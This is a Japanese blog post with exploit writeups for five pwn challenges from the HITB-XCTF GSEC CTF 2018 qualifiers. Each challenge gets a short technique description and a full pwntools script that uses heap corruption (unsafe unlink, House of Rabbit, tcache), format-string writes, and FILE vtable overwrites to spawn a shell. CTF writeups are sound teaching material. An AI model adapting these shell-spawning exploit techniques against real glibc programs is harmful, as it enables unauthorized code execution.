ブログ未満のなにか

ブログなのか誰にも分からない

HITB-XCTF GSEC CTF 2018 Quals writeup

once (pwn, 281pts)

libcのアドレスは適当な選択をすれば漏れてくるので、適当に双方向リストのポインタを上書きした。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.75.189.102"
RPORT = 9999
LHOST = "127.0.0.1"
LPORT = 9999

# libc = ELF('./libc-2.23.so')
elf = ELF('./once')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        set environment LD_PRELOAD=./libc-2.23.so
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./once'], execute)
else:
    conn = process(['./once'])
    # conn = process(['./once'], env={'LD_PRELOAD': './libc-2.23.so'})

# preparing for exploitation

def create():
    conn.sendlineafter('> ', '1')

def write(payload):
    conn.sendlineafter('> ', '2')
    time.sleep(0.5)
    conn.send(payload)

def free():
    conn.sendlineafter('> ', '3')

def malloc(size):
    conn.sendlineafter('> ', '4')
    conn.sendlineafter('> ', '1')
    conn.sendlineafter('input size:', str(size))
    conn.sendlineafter('> ', '4')

def _free():
    conn.sendlineafter('> ', '4')
    conn.sendlineafter('> ', '3')
    conn.sendlineafter('> ', '4\x00yyyyyy')

def write_string(payload):
    conn.sendlineafter('> ', '4')
    conn.sendlineafter('> ', '2')
    time.sleep(0.5)
    conn.sendline(payload)
#    conn.recvuntil('success.')
    conn.sendlineafter('> ', '4')


log.info('Pwning')

conn.sendlineafter('> ', '-1')
conn.recvline()
buf = conn.recv(len('0x7fbb53834690'))
libc_base = int(buf, 16) - 0x6f690
log.info('libc_bsae = 0x%x', libc_base)

write('a'*0x10 + p64(libc_base + 0x3c56e0 + 8)*2)
malloc(0x200)
payload = '/bin/sh\x00' + p64(libc_base + 0x45390) + 'y'*0x10 + 'z'*0x10 + 'w'*0x8 + p64(libc_base + 0x7475e)
write_string(payload)
_free()
conn.recvuntil('>')
create()

conn.interactive()

babypwn (pwn, 253pts)

バイナリが与えられないが自明なFSBがあるためリークすることができる。適当にstdinあたりのvtableを上書きした。

#!/usr/bin/env python
from pwn import *

#context(os='linux', arch='unknown')
#context.log_level = 'debug' # output verbose log

RHOST = "47.75.182.113"
RPORT = 9999
LHOST = "127.0.0.1"
LPORT = 9999

# libc = ELF('')
elf = ELF('./a.out')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        b *0x4006ef
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./a.out'], execute)
else:
    conn = process(['./a.out'])
    # conn = process(['hogehoge'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def write(addr, byte):
    payload = ('%%%dc%%10$hhn'% byte ).ljust(0x20, 'x')+ p64(addr)
    conn.sendline(payload)

log.info('Pwning')

# leak libc_base
conn.sendline('%41$p')
conn.recvuntil('0x')
libc_base = int(conn.recv(12), 16) - 0x20830
log.info('libc_base = 0x%x', libc_base)

stdin = libc_base + 0x3c48e0
stdin_vtable = libc_base + 0x3c49b8
fake_vtable = libc_base + 0x3c49c0
system = libc_base + 0x45390

# set ';sh' string
write(stdin+4, ord(';'))
write(stdin+5, ord('s'))
write(stdin+6, ord('h'))

# create fake vtable
for i in range(6):
    write(fake_vtable+0x28+i, ord(p64(system)[i]))

# overwrite stdin vtable ptr
a = (fake_vtable & 0xffff)
payload = ('%%%dc%%10$hn'% a ).ljust(0x20, 'y')+ p64(stdin_vtable)
conn.sendline(payload)

conn.interactive()

d (pwn, 392pts)

heap overflowがあるのでchunk sizeを上書きしてunsafe unlink attackを使った。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.75.154.113"
RPORT = 9999
LHOST = "127.0.0.1"
LPORT = 9999

# libc = ELF('')
elf = ELF('./27b201be-af0d-4fb9-85b8-f6ea9712e632.d')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d'], execute)
else:
    conn = process(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d'])
    # conn = process(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def read(idx, msg):
    conn.sendlineafter('Which? :', '1')
    conn.sendlineafter('Which? :', str(idx))
    conn.sendlineafter('msg:', msg)

def edit(idx, msg):
    conn.sendlineafter('Which? :', '2')
    conn.sendlineafter('Which? :', str(idx))
    conn.sendlineafter('new msg:', msg)

def wipe(idx):
    conn.sendlineafter('Which? :', '3')
    conn.sendlineafter('Which? :', str(idx))

def fsa(addr, byte):
    payload = ''


printf_plt = elf.plt['printf']
atoi_plt = elf.plt['atoi']
strlen_plt = elf.plt['strlen']
fake_chunk = 0x6021a0


log.info('Pwning')

read(0, 'x' * 0x138)
read(1, 'x' * 0x138)
read(2, 'x' * 0x138)
read(3, 'x' * 0x138)
read(4, 'y' * 0x138)
read(5, 'z' * 0x138)
read(6, 'z' * 0x138)
wipe(4)
read(4, 'a'* (0x138+19))
edit(4, 'x'*0xf8)
edit(4, 'x'*0xf0 + p64(0xf0))
payload = p64(0x0) + p64(0xf1)+p64(fake_chunk - 0x18) + p64(fake_chunk-0x10)
edit(4, payload)
wipe(5)

edit(6, '/bin/sh\x00')
edit(4, p64(0x602028))
edit(1, p64(printf_plt)[:6])

edit(0, '%2$p')
conn.recvuntil('Which? :')
conn.sendline('2')
conn.recvuntil('Which? :')
conn.sendline('0')
conn.recvuntil('0x')
libc_base = int(conn.recv(12), 16) - 0x3c6780
log.info('libc_base = 0x%x', libc_base)
conn.sendline('hoge')

edit(4, '%p')
edit(4, p64(0x602018))
edit(1, '%p')
edit(1, p64(libc_base + 0x45390)[:7])

conn.interactive()

mutepig (pwn, 833pts)

House of Rabbit

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.75.128.158"
RPORT = 9999
LHOST = "127.0.0.1"
LPORT = 9999

# libc = ELF('')
elf = ELF('./mutepig')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        set follow-fork-mode parent
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./mutepig'], execute)
else:
    conn = process(['./mutepig'])
    # conn = process(['./mutepig'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def create(_type, payload):
    time.sleep(0.1)
    conn.sendline('1')
    conn.sendline(str(_type))
    time.sleep(0.1)
    conn.send(payload)
    time.sleep(0.1)

def free(idx):
    time.sleep(0.1)
    conn.sendline('2')
    time.sleep(0.1)
    conn.sendline(str(idx))
    time.sleep(0.1)

def write(idx, payload, payload2):
    time.sleep(0.1)
    conn.sendline('3')
    time.sleep(0.1)
    conn.sendline(str(idx))
    time.sleep(0.1)
    conn.send(payload)
    time.sleep(0.1)
    conn.send(payload2)

log.info('Pwning')

time.sleep(0.1)

create(3, 'x'*7)
free(0)
create(3, 'y'*7)
free(1)
create(1, 'fast')   # 2
create(2, 'small')  # 3
free(2)
payload = p64(0) + p64(0x11) + p64(0x0) + p64(0xfffffffffffffff1)
write(2, p64(0x602130)[:7], payload)
free(3)     # malloc_consolidate
payload = p64(0xfffffffffffffff0) + p64(0x10) + p64(0x0) + p64(0xa00001)
write(3, 'w'*7, payload)
create(3, '/bin/sh')
payload = p64(0xfffffffffffffff0) + p64(0x10) + p64(0x0) + p64(0xfffffffffffffff1)
write(3, 'w'*7, payload)
create(13337, 'a'*7)
create(1, p64(0x0000000000602018)[:7])
write(0, p64(0x00000000004006e6)[:7], 'hoge')
free(2)

conn.interactive()

gundom (pwn, 487pts)

tcache

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.75.37.114"
RPORT = 9999
LHOST = "127.0.0.1"
LPORT = 9999

# libc = ELF('./libc.so.6')
elf = ELF('./gundam')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./gundam'], execute)
else:
    conn = process(['./gundam'])
    # conn = process(['./gundam'], env={'LD_PRELOAD': './libc.so.6'})

# preparing for exploitation

def build(name, idx):
    conn.sendlineafter('Your choice : ', '1')
    conn.sendafter('The name of gundam :', name)
    time.sleep(0.1)
    conn.sendlineafter('The type of the gundam :', str(idx))
    time.sleep(0.1)

def visit():
    conn.sendlineafter('Your choice : ', '2')
    time.sleep(0.1)

def destroy(idx):
    conn.sendlineafter('Your choice : ', '3')
    conn.sendlineafter('Destory:', str(idx))
    time.sleep(0.1)

def blow():
    conn.sendlineafter('Your choice : ', '4')
    time.sleep(0.1)

log.info('Pwning')

build('x'*0x10, 0)
build('y'*0x10, 1)
destroy(0)
destroy(0)
build('x'*0x1, 0)
visit()
conn.recvuntil('Gundam[2] :')
heap_base = u64(conn.recv(6) + '\x00\x00') - 0x278
log.info('heap_base = 0x%x', heap_base)

destroy(0)
destroy(0)
destroy(0)
destroy(0)
destroy(0)
destroy(0)
destroy(0)
blow()
build('\x90'*0x1, 0)
visit()
conn.recvuntil('Gundam[0] :')
libc_base = u64(conn.recv(6) + '\x00\x00') - 0x3dac90
log.info('libc_base = 0x%x', libc_base)


destroy(1)
payload = p64(0) + p64(0x61) + p64(libc_base + 0x3dac78) * 2 + 'a'*0x40 + p64(0x60) + p64(0x100)
build(payload, 2)
build(p64(libc_base + 0x3da9cc) + p64(0) + p64(heap_base + 0x3d0)*2, 0)
build('hoge', 0)

free_hook = libc_base + 0x3dc8a8
short_buf = libc_base + 0x3daa63
payload = '\x00'* 4 +  p64(0xfbad208b) + p64(short_buf) + p64(short_buf+1) + p64(short_buf) * 4 + p64(free_hook-2) + p64(free_hook+8)
build(payload, 0)

conn.sendline('3')
conn.send('0\x00' + p64(libc_base + 0xfccde))
#conn.send('0\x00' + 'x'*8)

conn.interactive()

最後に

最近はCTFをするときにMAN WITH A MISSIONRaise your flagを聴いている(本当は適当にプレイリストを流しているだけ)。 CTFっぽい名前なのか良い感じにfirst bloodを取れるのでジンクスとして続けていこうとかと思っている。